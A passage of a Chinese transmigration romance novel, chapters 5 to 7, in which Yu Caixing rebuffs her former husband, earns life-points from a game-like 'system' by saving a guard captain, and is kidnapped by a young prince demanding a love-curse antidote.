眼见摆脱不了,俞采星齿尖狠狠咬破他下唇,血腥味瞬间在唇舌间炸开,可女人立马察觉到不对劲,她嘴里除了铁锈味,好像还有……一股酸涩?
难道是自己不争气被吻哭了?
实在挣脱不开,俞采星便放弃了,亲就亲吧,就当被狗舔了,况且被亲还能续命,也算是有些好处。
她安静等待加命提示音,但!
【警告,游千古每日只有一个吻能产生馈赠血值,其余的吻只会令你身心愉悦。】
俞采星麻了,狗屁心身愉悦。
“对不起……”这时游千古也从她唇上退开,呼吸灼热却颤抖,“我、我只是不想你再次离开我……”
俞采星趁机一把将他推开,烦躁地抹了把脸,但手上却很干燥,她并没有掉泪,那她嘴里的泪水是谁的?
再抬眼,男人眼底猩红,冷峻的面容上留下晶莹的痕迹。
女人瞳孔一缩,他竟然哭了?
视线继续下移,男人嘴角处破了个口子,血珠子还在往外渗。
俞采星扯了扯嘴角心下明了,她涨能耐了,竟然把游大律师咬哭了,不错,再接再厉。
两人都没再说话,气氛一下凝滞。
还是游千古率先打破了沉默:“你是谁?”
俞采星明白他的意思,看来这厮也没有继承书中“游千古”的记忆,于是翻了个白眼道:“俞采星,十六岁,当朝都察院左副都御史俞承荫的庶女。”
她将系统发给她的书籍梗概面无表情背了一遍。
游千古默默听完考虑几息,便柔声说了句:“今晚别走了,我明天就去俞府提亲。”
“呵~”俞采星冷笑,“死了这条心吧,我是不会嫁给你的,咱们以后桥归桥路归路,要么你换个系统任务,要么你就干脆死一死回炉重造,总之以后你我再无相干!”
话很无情,游千古抿唇。
女人说完又要走,男人再次拉住她。
“小星别闹,书里背景不是法制建全的现代,这里是没有人.权的古代,随时都可能丢命,况且你的生命值只有二十四小时,为了安全起见,你必须跟我在一起。”
俞采星嗤笑一声:“那你现在的身份是?”
“锐亲王世子。”游千古照实说。
俞采星很清醒:“你不是皇帝,不是亲王,只是一个等着袭承亲王位的世子而已,你上面有皇帝、皇后、太后、锐亲王和王妃压着,有那个想娶谁就娶谁的权利么?”
这一次游千古眼神异常坚定:“我有,而且我只娶你。”
俞采星再次甩开他的手:“嫁给你,让你成功完成系统任务后,再一脚把我踹开?”
她怒气又上来,在屋子里找了一圈,先摸了摸坚硬的木柱子,摇摇头后又拎起一把椅子,也觉得不好,最后拾起地上的破碗片,快速对准自己的颈动脉。
这次俞采星的眼神异常认真。
她一字一句对游千古说:“我们离婚已经两年,早就尘归尘土归土,我会自己找续命的方法,同理,你的系统任务你也自己搞定。若还要纠缠我,大不了我现在就去死嘛,说不定下回还能投个好胎。”
她不是一时冲动,更不是自寻死路,她只是觉得,继续跟出轨脏了的前夫纠缠太恶心,不如去死。
游千古的脸瞬间褪尽血色,仿佛连呼吸都被掐断,前世她浑身是血倒在他怀里的画面,不停冲击他的大脑。
“小星,放下。”面上只有冷冷四个字,可被他藏在身后剧烈颤抖的双手,暴露了他濒临崩溃的情绪。
男人视线死死锁在她脖颈的那抹寒光上。
“好,我让你走。”
俞采星知道,游千古不可能就这样轻易放弃攻略她,现在主动退步不过是怕她真的轻生,拉他一起去死罢了。
但她也不是真的要鱼死网破,可以活着谁愿意去死,她拖延游千古的目的也达到了,得赶紧找个清静的地方研究研究系统,尽快找到其它的续命方法。
俞采星垂下手,手里的碗片还没来得及扔掉,下一瞬游千古就上前小心掰开她的手指,将碎片夺走。
女人看他惜命的样子忍不住翻白眼。
“怕了吧?我警告你,以后离我远点,若再纠缠,我就是自戕也要跟你同归于尽。”
俞采星说完,懒得多看男人一眼就夺门而出。
而她身后,游千古紧攥着那片锋利的碎瓷,掌心传来尖锐的刺痛,温热的血顺着瓷片锯齿状的边缘蜿蜒而下,在苍白的皮肤上绽开刺目的红。
男人像被抽走了所有力气般,仰面直直倒在床上,他手抚向心脏处,一向淡漠无波的眸子,此刻却空洞一片。
“为什么……”一滴泪无声滑落,没入鬓角。
先前,就在游千古要将前世离婚的真相说出来时,系统发出一连串警告:
【穿书总部执行长亲自下令,宿主自愿放弃执行长秘书一职,以此换取攻略前妻俞采星的任务,并掌握给她续命的功能。但代价是:不得将前世真相告诉任何人,否则俞采星将会心脏爆裂而死。】
不说出真相小星不会原谅他,若说出真相,小星就会死。
游千古绝望至极。
*
俞采星这边,刚一出门就碰到了游万辰,这厮竟然一直守在门外。
他急忙上前:“我阿兄可是未来的锐亲王,亲王的女人,哪怕侍妾也必定身家清白、人品高洁,你根本就没有资格。不许再去祸害他,赶紧将解蛊的药交出来,否则被我父王知道了,十个你爹也保不了你!”
俞采星看着眼前面容熟悉又神色冷厉的男人,前世万辰在她危难之际帮助她的点点滴滴一下涌进脑海。
就连死都没哭的她,却在此时无声落泪。
游万辰一脸嫌恶:“哭什么哭,本郡王可不是会怜香惜玉的人,再不拿出解蛊药,我真杀了你!”
她刚穿书,连剧情都不知道,哪来劳什子解蛊药。
“老板,那么帅气温柔善良的你,为什么会变成这副死样子,为什么!”俞采星抹了把眼泪,两手揪住游万辰的衣领,紧接着使出洪荒之力一脚跺在他脚背上,然后撒腿就跑。
开什么玩笑,有原身生母的救命之恩做免死金牌,此时不削他更
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待何时!
“啊!”剧痛袭来,身份再高贵的人叫起来也是杀猪声,游万辰只觉脚背传来钻心剧痛,他踉跄着单脚跳开,额头血管跳得突突的。
这没有廉耻的女人,今日为何总叫他老板?
锐亲王府一众侍卫们直接惊住,俞大人家这庶女莽啊,拳打世子爷,脚踢小郡王,这阵仗搞得他们都不敢去抓人了。
所以,俞采星在混入王府打了两位主子后,就这样轻易冲出了锐亲王府的大门。
“哎呦!”谁知一出来就跟人撞了个满怀,俞采星被撞得踉跄后退两步,抬头正对上一双杏眼。
撞她的姑娘约莫十六七岁,圆润的鹅蛋脸、微翘的鼻梁、樱粉的双唇,梳着一绾单螺髻,怀里还紧抱着个青布包袱。
“你怎么才出来!”此人正是给原身偷侍卫服,并与她里应外合的手帕交、王府护军统领之女陆昭昭。
还未等俞采星反应过来,她一把拽住她就往巷子深处跑,声音压得极低,“快去前面客栈将侍卫服换下来,你这样穿太扎眼了,若被我爹爹抓到,我就死定了!”
“你……”俞采星想拒绝,她都从锐亲王府平安出来了,还有什么好怕的,奈何这姑娘太热情,而且她也的确需要换下湿衣服,于是就跟着她跑。
俞采星想问她叫什么名字,但看两人的熟稔程度,这话要是问出来,肯定被对方当成失心疯,于是只能作罢。
陆昭昭带着俞采星一溜烟闪进街角的青云客栈,在一众食客惊讶的目光中,两人踩着吱呀作响的老旧木梯窜上三楼。
“逆女!”这时楼下大堂突然传来一声暴喝,紧接着陆铁山魁梧的身影赫然出现在客栈内,他怒目圆睁,额角青筋暴起,像是要吃人。
陆昭昭脸色“唰”地白了,活像猫见了老虎,她一把将俞采星推进身侧的房内:“这是我提前定好的房间,你赶快换衣服,一定要将脱下的侍卫服毁尸灭迹,我先拖住我爹!”
俞采星还未反应过来,就被她猛地推进屋内,踉跄几步才站稳,身后房门“砰”地关上,然后被陆昭昭用身体抵住。
情况紧急,俞采星也只能先换衣服了。
侍卫服本就厚重,泡了水后沉甸甸地贴在身上,每走一步都像拖着铅块,顾不得打量房屋内的陈设,俞采星着急忙慌去解腰间的革带。
革带的铜扣沾了水,滑溜溜的有些不好掰,她咬牙使劲一扯,“咔嗒”一声终于松脱,“咚”地砸在地上。
紧接着女人三两下扒下湿透的玄色外袍和中衣,接下来是裤子,然后是亵衣,最后是小裤。
浑身上下不着寸缕后,她弯腰去翻包袱里陆昭昭准备的衣裙,可怎么这么多,比侍卫服复杂多了,到底先穿哪件?
俞采星对古代的女装不熟悉,越着急手上动作越慢。
这时身后“啪”的一声,是茶盏摔碎的声音,女人身体瞬间僵直。
俞采星这才惊觉屋内有人,赶忙将衣袍展开挡在身前,她火速抬头,却对上同样惊恐的眸子。
空气凝滞,屋内骤然安静。
盛夏的阳光透过雕花窗棂,如碎金般洒进来,一位身着月白直缀的公子僵坐在案前,他满脸绯色,手里的狼毫笔悬在半空,墨汁“啪嗒”滴在宣纸上,晕开一片乌黑。
刚才香艳的那幕,他尽收眼底。
5. 被他看光了
俞采星咬牙,“还看!”
“抱、抱抱抱歉!”震惊中的男子这才回过神来,仿佛意识到自己刚才的行为十分孟浪轻佻,于是快速起身,谁知因动作幅度太大,将眼前的案几都掀翻了。
还好桌子倾倒前,他抓住一本《论策》,快速挡在眼前。
俞采星看男人遮挡了视线,也顾不上其它,赶紧穿衣服。
一阵混乱终于将衣服穿得七七八八,这时门被推开,陆昭昭一头闯进来,又快速将门反锁。
紧接着,陆铁山哐哐砸门:“陆!昭!昭!”
俞采星:原来这姑娘叫陆昭昭啊。
“完了完了完了……”陆昭昭急得团团转,脸上没有半分血色。
“别怕。”俞采星赶紧安慰她:“说到底是你亲爹,连锐亲王府都不追究我们了,你爹顶多就骂你几句,再不行,你就朝她撒个娇。”
俞采星虽然是孤儿没有父母,可她的同学们不是啊,从前宿舍熄灯前,大家就会唧唧喳喳讨论套路父母的花招。
最后舍友们一致认为,撒娇卖萌是对付父母的利器,不管老爸还是老妈看了都会心软,那时提的要求有百分之七十的概率会被同意。
陆昭昭一脸的不敢苟同,可惜,她爹不吃这套。
她幽怨瞪着她:“忘了以前配合你当街拦小郡王轿子那次?我被老家伙拿大板子打屁股,整整在床上躺了一个月才好,这才刚能走路,就又为你偷拿令牌和侍卫服。”
俞采星:“……”
这是亲爹和损友石锤了。
“两位姑娘可是遇到了歹人?”方子昂看两人战战兢兢如临大敌般,禁不住生出相帮之意。
他抬眸看向俞采星,却又在碰触到她的目光时快速别开眼。
然而不等俞采星说话,陆昭昭先僵住了,她迅速转身,目光定格在方子昂身上。
紧接着倒抽一大口冷气:“为什么我订的客房里会有个男人?”
“你!他!你们!”然后快速看向俞采星,手对着她换好衣服的身躯一顿上下指点。
而对面的方子昂见状脸红的能滴出血来,赶紧又拿《论策》挡住脸。
俞采星赶紧一把握住陆昭昭的手,“我们什么都没有发生,你别着急。”
而陆昭昭也顾不得门外的老爹,张口就骂:“好你个人模狗样的登徒子,竟垂涎我手帕交的美色,告诉你别妄想了,她未来可是要做郡王妃的人,你就死了那条心吧!说,你是如何偷溜进来的?”
俞采星咽了咽唾沫。
这姑娘是个会骂人的,看来与原主的友谊不是塑料做的,不过就是有点爱吹牛。
她?做郡王妃?
眼前立刻浮现出游万辰那张恨不得将她大卸八块的脸。
此时方子昂的声音再度响起:“姑娘,这是在下的房间,我已在此处住了一月有余。”
陆昭昭不骂了。
“这里不是天字二号房?”
方子昂垮了脸:“姑娘,这里是天字一号房,天字二号是隔壁。”
陆昭昭:“……”
俞采星瞪她,这姑娘怎么比她还迷糊,自己订的房间都能搞错。
“原来是我们一着急进错房间了,抱歉。”然而陆昭昭语气里并没有进错房间的愧疚感,反而话头一转,目露凶光。
“但你瞧了我姊妹的身子也是真,看你是读书人,现下来京城肯定是为了明年的科考。只要你帮我们拦住外面那老头,助我二人脱身,我们就不会去官府告你奸.淫之罪,否则必一纸诉状告上衙门,让你科考无门!”
俞采星给这姑娘默默竖了个大拇指。
“原就是在下唐突了,我必定尽我所能拖住外面之人,让两位姑娘趁机逃走。”
可方子昂是典型的文人书生模样,举手投足皆文质彬彬,不可能拦得住陆铁山,陆昭昭脑子转得很快,迅速想了一个损招。
她让方子昂将那张倒了的书桌拖到门口处,然后迅速拾起地上俞采星脱下的宽大皮革扣带,将两头的铜扣扣紧,这样就成了一条宽大的皮革圈。
她用气音对着方子昂比划。
“你把这个从头上套进去,然后站在桌子上,这样就比外面的人高出一大截,等他推门进来,你就立刻将这革带兜头套下,将你们二人套在一起,这样他一时半会挣脱不开,我们就可以逃出去了。”
是个会坑爹的。
陆昭昭说完就拉着俞采星一左一右藏在门后面,她无声比划“三”、“二”、“一”,之后两人同时开门。
外面,满身怒火的陆铁山没想到门会突然打开,一头撞了进来,迎面就看到紧闭双眼朝自己扑来的方子昂。他下意识踹出一脚,可为时已晚,方子昂已经用革带将两人紧紧套在一起。
他俩腰身相贴,一人动,另一个人也会被迫跟着动,如同连体木偶般,只不过才踉跄几步,就双双失衡栽倒在地。
陆昭昭瞅准时机拉着俞采星撒丫子就跑。
“
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你这个死丫头,看我不打断你的腿!”意识到被自己闺女坑了的陆铁山更是火冒三丈。
“你是从哪儿冒出的愣头小子,赶快解开。”
因为刚才重重摔了一跤,方子昂浑身吃痛,可他却反手牢牢抱住陆铁山,绝对不能让眼前的男人打断那两位姑娘的腿。
可他岂是陆铁山的对手,被对方一拳打在脸上,鼻血横流,疼得松开了手。
陆铁山趁这机会伸出手,三下两下解开了铜扣,将方子昂推开后就火速去追。
他三步并作两步冲上楼梯,练武之人腿劲儿格外大,脚下老旧的木梯发出不堪重负的吱呀声。
下到二楼时,突然一声刺耳的断裂声炸响,腐朽的木梯在陆铁山靴底断裂,他一脚踏空,身子直直向下坠去。
还好他身手不俗反应快,猛地纵身跃起,伸手扣住上方的栏杆,可偏偏那栏杆也年久失修摇摇欲坠,没坚持到五息,整段护栏像被抽了筋骨般轰然坍塌。
陆铁山顷刻间再次失重,眼见就要从二楼坠到楼下大堂,引得楼下食客们一片尖叫。
刚要跑出客栈的陆昭昭和俞采星回头一看,惊出一身汗。
此时正值饭点,大堂还有不少食客,尤其陆铁山坠落的正下方,正有客官在吃饭,怕被砸伤,他们此时全跑到一边。
只见那桌子上放着刚烤好的半只乳猪,旁边摆着箸筒,里面除了筷子,还斜插着四把割肉的刀具。
刀子锋芒凛冽,比筷子长,刀尖向上。
要是陆铁山掉到桌子上,几把刀会同时扎进他的身体。
“爹爹!”陆昭昭吓得大哭,忙往回跑,她只不过就想让方子昂困住父亲而已,压根儿没想到他会从楼上跌落。
俞采星一看也立刻往回跑,可已经来不及,千钧一发间,她急中生智脱下高头履,朝着那盛刀具的箸筒用力砸去。
在陆铁山掉下来的同时,箸筒哗啦掉地上,紧接着“砰”一声,桌子当场被砸烂。
陆铁山当场昏死过去,不过还好,至少没被刀捅出四个洞。
“爹爹,你醒醒,是我错了,我以后都听你的话,你不要死呜呜……”陆昭昭抱着陆铁山哭得上气不接下气。
俞采星快步上前,看来这对父女的感情并不是她先前以为的那么差,刚要蹲下身检查一下陆铁山的情况,突然大脑一阵钝痛。
【叮~检测到宿主掀翻刀具,使炮灰避开多处致命刀伤,拯救必死炮灰一枚,奖励生命值六十天。】
6. 他正得发邪
同一时间,俞采星视线右上方的数值变成了【60天:21小时:16分钟:54秒】,最后一列的秒数依旧在不停迅速递减。
女人激动不已。
原来救活书中的必死之人,就会奖励两个月的生命值,老天开眼,她再也不必靠游千古续命了!
就在俞采星激动之余,系统又诈尸出现:
【由于宿主解锁“自力更生”续命法则,获得唯一抽奖机会,并随机生成一条终极系统任务——找到十八年前送出宫的皇子,并助他登上皇位。】
【宿主必须在挣取生命值的同时,完成终极任务,时间不限,直到登基的新帝不是十八年前的皇子,则判定任务失败,宿主立刻被抹杀。】
【警告:生命值归零,宿主直接死亡,生命值剩余,依然不能免疫生、老、病、死,以及突发危险或者意外。】
【祝卿好运!】
这次系统罕见的一连说了多条规则,大概意思:第一,她活命的基础是生命值,生命值一旦归零,她当场死亡;第二,就算有生命值,也不能免疫疾病和意外,遇到危险该死还得死。
至于那个刚刚解锁的终极任务,俞采星刚想好好研究一下,这时脑海又弹出一个对话框,上面标注:【前世·亡灵的遗憾】几个大字,而且后面还自动跟着一个小三角的光标。
这是个播放器?
嗯……要说不说,还挺人性化。
俞采星立刻用意念控制光标,点击【前世·亡灵的遗憾】,紧接着下方出现一个小屏幕,缓缓浮出画面。
首先出现的是一双眼睛,更准确地说是一对空洞的眼窝,里面早就没有了瞳仁,但俞采星却莫名感觉到它释放出来的浓浓的悲伤。
紧接着画面一转,映入眼帘的是一道道火把,火光映红了半条长街,大队皇城禁军如潮水般涌来。
甲胄铿锵,步履沉重。
他们腰悬制式腰刀,刀柄磨得锃亮,层层叠叠将街巷围得铁桶一般,领队将官一声令下,官兵们便推门入户,翻箱倒柜,不放过任何一处地方。
隔着屏幕,俞采星都能感受到那股凛冽的军.威,他们所过之处,行人避退,连空气都被这股肃杀压得凝滞。
俞采星看懂了,这其实是人死后化为亡灵所看到的画面,所以才称为【亡灵的遗憾】。
而这个死去的亡灵,就是书里那个没被她救下的陆铁山,也就是说,这里面的场景是她穿书前,陆铁山死后最大的遗憾。
女人继续往下看。
紧接着,画面中又出现一名满身是血的男子,原来这场追杀就是为了他,而他终究没有躲过,被逼到护城河边,退无可退。
月光下,男人忽然停住脚步,既然走不了,便索性站定,回身直面那片明晃晃的刀丛,他沾满血污的脸上,竟绽开了一个笑。
那笑不是从容,不是释然,而是一种从灵魂里渗出来的恨意,只见他嘴角扯起,眼睛却冷得像腊月的冰,那笑里满是不甘与轻蔑,让追在最前面的官兵,都不由自主停了脚步。
下一刻,那男人收住笑,没有半分犹豫转身奔向石栏,纵身一跃,衣袍翻卷如旗,整个人干脆利落没入黑沉沉的河水里。
画面黑了,但还没有结束,里面传出一阵隐忍的哭泣,每一下都带着碎裂般的颤音。
是陆铁山的亡灵在哭泣,到这里画面彻底中断。
回忆着脑中的画面,俞采星感觉自己鸡皮疙瘩都起来了,因为那男子跳河的神情太过悲壮。
咦?等等!
那人他……他竟然不是男人,而是个女子?!因为脑内画面播放完之后又弹出一段话:
【郑芮,化名郑睿,前护国大将军郑元达的独女,从小女扮男装,长年跟随父亲征战沙场,只有少数几个亲信知道她的真实身份。
自古帝王忌惮武将功高盖主,因此护国将军府被诬陷通敌叛国判满门抄斩,郑元达夫妇拼尽一切,把女儿秘密送出。
郑芮带着家破人亡的血海深仇一路被官兵追杀,最后干脆不躲,想要直接杀进皇宫,郑元达的旧部陆铁山,在得知此事后要去阻止,却在青云客栈意外死亡。
郑芮顺利潜进皇宫行刺皇帝,只可惜那一剑没有刺中要害,功亏一篑,于五月初九被逼投河自尽。
陆铁山的亡灵亲眼见到这一幕,悲伤至极,郑芮的死成了他生前最大的遗憾。】
俞采星内心五味杂陈。
这么一位巾帼英雄竟然也是个炮灰,她的死亡日期是五月初九,这不就是三天后?
她心里迅速生出一个双赢的救人计划,但这个想法刚冒头,就立刻被打消,刚才画面里出现的追兵,没有一千也有八百,她不过一个庶女,自身难保,哪里有本事救人。
除非去找游千古,他好歹是个亲王世子,也许有些办法,但那不可能,找他不如去死。
算了。
看来郑芮这两个月的生命值她是赚不到了,还是再找个稳妥的炮灰拯救吧。
刚才脑内看到的一切,也不过才用了三四十息的功夫,没有人发现俞采星的异样,更何况现在所有人的注意力都在陆铁山上面。
陆昭昭看着昏迷的老爹,后脑勺下全是血,十六七岁的小姑娘慌了神,只能抱着人哭。
俞采星见状赶忙上前制止,“别晃,陆伯父头部出血,照你这样晃悠,他不死也要死了。”
她倒没有太过慌张,主要系统已经确定炮灰拯救成功,她连六十天的生命值都领取了,那么陆铁山就肯定死不了。
不过再晃下去加重了脑出血,或者脑震荡,万一成了植物人,或者醒来后变成了傻子,就不好了。
三楼拐角处,方子昂喘息着从身上掏出一个白瓷瓶,颤抖倒出一粒药丸干吞下去,捂着胸口缓缓从地上爬起来。
他担心俞采星和陆昭昭的安危,身体刚舒服些就着急忙慌往下跑,谁知差点一脚踏空,鞋尖已到了梯板的边缘,碎木屑簌簌落下,亏得及时稳住身子,才堪堪保住一命。
他这才看见陆铁山倒在血泊中,而陆昭昭正趴在他身上哭着大喊“爹爹不要死”。
方子昂愣怔片刻。
原来大汉不是歹人,而是那名陆姓女子的父亲。
这……
事件骤然反转,男人一时间竟不知该作何态度,他想要下去,可三楼通往一楼、二楼的木梯全部断裂。
一楼大堂围满了看热闹的食客,店小二以为出了人命,整个吓呆,这时掌柜的也来了,躺在血泊的那人穿着亲王府的禁卫服,而旁边两位姑娘一看就是官第内眷。
竟教官差死在他店里,这可怎么了得!
店掌柜吓得腿脚发软,忙不迭上前撇清关系,场面乱作一团。
“少爷、少爷,你没事吧?”这时一个小厮好不容易挤进来,就看到血泊中的陆铁山,顿时一惊,以为客栈进了歹人。
“少爷,等我,这就上去救你!”
此人名朱砚,是方子昂的书童,今日领了命去草市为饥民派米,方才回来。
说完他就挤进人群,往断梯上爬,此人虽然腿脚灵活,可楼上楼下一丈多高,试了几次皆以失败告终。
“我没事。”这一折腾,方子昂也看到了他,“你赶紧去请位大夫过来。”
男人发现下面乱作一锅粥,竟然没人去请个大夫来救命。
“是。”朱砚看到方子昂全须全尾,而且脸不白气不喘,这才放下心来,知道他家少爷向来心善良,于是赶紧又挤出人群去找大夫。
“好了掌柜的,我们不追究木梯老化的事,也不用你赔钱,更不会到衙门状告你,你现在赶紧将人群驱散,快些请个大夫,再找个房间,总不能让人一直躺地上。”
周围太过嘈杂,俞采星压根没听到方子昂的话,她往外推了一把店掌柜,又指了指越围越多的看客,心中一阵烦躁。
“是是是。”掌柜的这才知道原来人还没死,忙叫来伙计将看客驱赶,把陆铁山抬进一楼的稍房,又火急火燎出去请大夫。
“造的什么孽呦!”他这青云客栈住的都是各地来京赶考的书生,最是看重风水,若是那人没救过来死了,就算苦主不追究,客栈也没人敢住了。
还有断裂的木梯跟围栏,光修缮就得不少银子,可不修又不行,总不能不让三楼的住客下来吧,于是又赶紧派人去隔壁街请木匠过来。
……
大堂右侧的稍房内,陆铁山躺在床上,头上的血已经止住,伤口也已经包扎,只不过还在昏迷。
“大夫,我爹爹他要不要紧?”陆昭昭眼眶通红,到现在语调里还带着颤音。
“病情已经稳住,头部伤口不深,只要按照我开的方子喝药就行,问题不大。”老大夫摸了摸胡须。
“那为何他还不醒?”
“伤了脑子是要昏睡些时辰,我已经用银针将他脑部的淤血逼出,不会有事的,姑娘尽管把心放到肚子里。”
“多谢大夫,有劳了。”见他说得如此笃定,陆昭昭总算放下心来,从荷包掏出诊金,送走了大夫。
这时陆家也来人了,是陆昭昭让客栈伙计去通知的家里。
“大哥、二哥、三哥!”陆昭昭看到哥哥们,瞬间哭了。
“爹伤得厉害吗?大夫怎么说?”
“头上出血了,大夫说没有大碍。”
陆大递了条手帕过去,“快擦擦,也是大姑娘了,当众哭鼻子成何体统。”
“哦。”陆昭昭缩了缩脖子,偷偷抬眼瞅了瞅哥哥的脸色,接过手帕不敢吭声。
“俞姑娘,令尊乃朝廷三品大员,我陆家不
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过小门小户,您遇到难处,令尊自能周全,望日后别再来寻我妹妹相助了。”陆大虽然话里用着敬语,但眼神和举止没有半分尊敬。
陆三的不满更加明显,接话道:“因为你我们陆家遭了多少罪,大上次昭昭为了帮你,冲撞了江淮大人的嫡长女,不小心碎了她的镯子,您不肯跟嫡母要钱,是我们家筹了四百两赔给人家。
还有上次,为了帮你昭昭被家法处置,一个月下不来床,这次倒好,直接将家父弄的不省人世,陆家哪经得起你这般折腾,往后望你高抬贵手,弃了昭昭这个手帕交吧。”
俞采星不知该如何回答,由于她没有原身记忆,前因后果也不清楚,看在陆昭昭的份上,面对三个男人极度不友好的态度,也只能尴尬扯扯嘴角。
“三哥,你别说了,采星也不想的……”陆昭昭小心拉了拉陆三的衣袖,却叫陆二一个眼神给制止。
“好了,万幸没出大事,我们把父亲抬回家去静养。”陆大扭头看了眼陆昭昭,“还不走?”
“哦,知道了。”她这才不情不愿答了句,快步走到俞采星身边,把自己荷包里仅剩的碎银子都倒出来给她:“我得走了,你自己小心,一定先吃饱肚子再回家。”
此时三道目光凌厉射过来,俞采星只得又把碎银子强硬还回去,“谢谢,不用担心我,回家后听长辈的话,不要顶嘴。”
陆昭昭还要说什么,被她二哥拉走了。
……
客栈内匠人忙忙碌碌,总算把木梯补修完整,朱砚这才“吭哧吭哧”跑上来,离近一看,大吃一惊。
“少爷,您受伤了!”
方子昂摆摆手,快步下到大堂,朝着陆铁山砸下的位置看去。
那里碎屑残渣已经打扫,连血污都擦得一干二净,在墙角不起眼的角落里,独留一只女人的高头履。
他瞥一眼地上的青砖,最后鬼使神差的将鞋子捡起,朝着稍房走去。
跟在他身后的朱砚不可置信地擦了擦眼睛,他那清心寡欲、循规蹈矩的少爷,竟然捡了女子的一只高头履。
捡就捡了,关键还用他那洁白无瑕的袖口,仔细将履底的灰轻轻拂了。
真是活见鬼了。
送走了陆家人,俞采星一屁股坐在床上,总算可以歇会了,此时她还不理解陆昭昭那句“小心,一定要吃饱再回家”是什么意思。
她很想陆铁山能在客栈里养伤,起码醒了之后还能旁敲侧击,说不准能问出郑芮刺杀皇帝前的藏身之处,无法在护城河的追兵下救人,她可以提前去阻止。
可惜,陆铁山已经走了,而且看今日陆家人对她的厌恶程度,若执意去陆家探病,肯定会被打出来。
让大脑放松了片刻,俞采星便起身要走,左脚脚趾不自觉地蜷了蜷,有点凉,这才发现自己光着一只脚,先前在房里换衣裳时太急,连袜子都没来得及穿。
敞开的稍房门被敲响,俞采星抬头,是方子昂,而他手里正拿着那只“见义勇为”的高头履。
男人一眼就看到女子的脚上没有穿罗袜,那皮肤白的刺眼,像不慎遗失在泥潭的羊脂玉。
许是知道自己的举止十分孟浪,他心里倏地一荡,目光却飞快移开。
男人深吸一口气走上前,双手捧着布履,端端正正举至俞采星胸前,脊背挺得笔直,没有半分轻慢和逾矩。
“姑娘,”他垂下眼,声线微紧,“地上凉。”
俞采星看着眼前的男人,他鼻梁高高肿起,鼻下的皮肤上还残存些许没有擦净的血迹,胸口处有一个大大的鞋底印子,在月白色的长袍上极其显眼。
总之,狼狈至极。
这画面让她想到了古装电视剧里,挨打后依旧恭敬给皇帝递折子的大臣。
俞采星忍不住“噗嗤”笑出声,这书生也忒有规矩了。
听到女人骤然的笑声,方子昂一瞬间心跳加速,耳根更红了。
“有劳。”俞采星忙接过穿上,大方道谢。
“不必言谢。”方子昂退后一步,垂首作揖,随即转身欲去,月白色的袍角随着动作微微一扬,礼数周全得挑不出半分差池。
走了两步,忽又顿住。
“在下方子昂,”男人终究没忍住回过头来,声音压得极低:“敢问……姑娘芳名?”
“俞采星。”虽然觉得他们以后应该再无交集,但出于礼貌,还是告知了自己的名字。
他没有再说话,只将那三个字在心里默念了一遍,而后深深看她一眼,转身离去。
出了客栈,俞采星漫无目的走在街上,她想听陆昭昭的话,先买点吃食填饱肚子,奈何身无分文。
要不,干脆打听一下俞府怎么走吧。
正想着,突然一个大麻袋兜头套下,紧接着俞采星就被人扛了起来。
7. 莫名的绑架
俞采星只觉被硌得生疼,这一天,她真是倒了血霉,怎么谁都跟她过不去!
不知过了多久,一阵颠簸之后,她感觉自己被扔在地上,麻袋口一松,光亮猛地涌进来,她本能地眯起眼,酸涩的泪花登时泛上来。
隔了好一会儿才适应,视线从模糊变得清晰。
这是一间干净得过分的厢房,墙角站着两个黑衣侍从,面色平静,不远处放着个解暑的大冰鉴,桌上还摆着茶盏,不像绑匪要撕票的地方,倒像待客的厅堂。
她正愣神之际,一个人从屏风后探出半个身子,他锦衣玉冠、神采飞扬,眉眼间犹带着少年气息,里头全是压不住的得意。
俞采星眸子一缩,咬碎银牙,从齿缝里蹦出三个字:“游万辰!”
“没想到是本郡王吧。”
女人有些忐忑:“这是哪里?”
他一脸臭屁蹲下与她平视,“别猜了,这里是我京城的别院。”
她皱眉:“你到底要干什么?”
他不答,只用力拍了拍手。
这时门被推开,两个侍从恭恭敬敬进来。
一人端着托盘,上面放着两个瓷碗,碗里盛着琥珀色的蜂蜜,甜香立刻弥漫开来。
另一人牵着一头山羊,不大,通体雪白,被洗得干干净净,没有一丝羊膻味,那羊温顺得不像话,咩咩叫了两声,低头嗅地面。
俞采星一头雾水,这中二是要唱哪出?
“情蛊的解药马上交出来,便不用受罪。”
“什么情蛊,我根本不知道,你找错人了。”
“还狡辩!”游万辰冷了脸,“你对我求而不得,便想出种情蛊这种下作的法子,让我娶你为妻,谁料却不小心把蛊种在我阿兄体内,所以他才会突然一反常态迷恋你。”
俞采星:“……”
这原身对爱情也太执着了。
系统:【以上全是游万辰的臆想,原身没有那高级玩意儿。】
呵呵了。
搞半天,他弄这一出就是无中生有啊!
“交出解药。”
“这个、真没有~”俞采星欲哭无泪,“游千古根本就没有中蛊毒,你快放了我,我保证以后都离你们兄弟两人远远的。”
“你是铁了心不交解药是吧。”游万辰指了指旁边的东西,语气平淡至极,“你知道吗?将蜂蜜涂在脚心,羊就会伸舌头舔,不伤皮肉,不损筋骨,除了痒之外,就是有点……不雅。”
他顿了顿,看向俞采星。
“你小娘于我有救命之恩,我自然不会伤你,但我也不可能任由你伤害我的阿兄,立刻给我情蛊解药,否则,就只能让这羊陪你耗着。”
还能咋滴,俞采星只能反反复复说没有。
时间一点一点消逝,游万辰的耐心终于告罄。
他抬手示意,两个侍从走上前,对着俞采星的高头履就要伸出魔爪。
“你们放开我!”她自然拼命反抗,又踢又踹,慌乱中只听“撕拉”一声,鞋子没脱掉,脚腕处的裙子却被撕下一块,露出白皙的小腿。
看着那抹白,游万辰烦躁耙了耙头发,儿时溺水被俞采星亲生小娘以命相救的情景闯入脑海。
他虽不觉得自己是君子,但自认为还没恶毒到恩将仇报的地步。
“让你们脱鞋,撕裙子作甚,都给我滚出去,本郡王自己来!”
两个侍从相视一眼,脸上全是见怪不怪的麻木。
他们主子厌极了俞采星,与她仇深似海,可偏偏她的亲娘救了主子,主子虽然身份高贵,却做不到恩将仇报,只能在报恩与报仇之间反复横跳。
下人们全部出去,厅堂内只剩下他们两人。
游万辰上下扫了俞采星一眼,眸子里满是鄙夷,那神情仿佛她身上有什么脏臭不堪的东西。
他伸手要去脱俞采星的鞋,手指悬在半空,换了几个角度都不知该从哪儿下手,那副嫌弃的模样,活像对着一块发了霉的臭豆腐。
“识相的赶快交出解药,否则本郡王便让你求生不能,求——”死不得。
然而最后三个字,他没有机会说出来。
俞采星早在他嘚吧嘚的时候,就悄悄藏起了桌上的茶壶,因先前有了击打游千古的经验,所以这次她只砸了两下,游万辰就晕倒了。
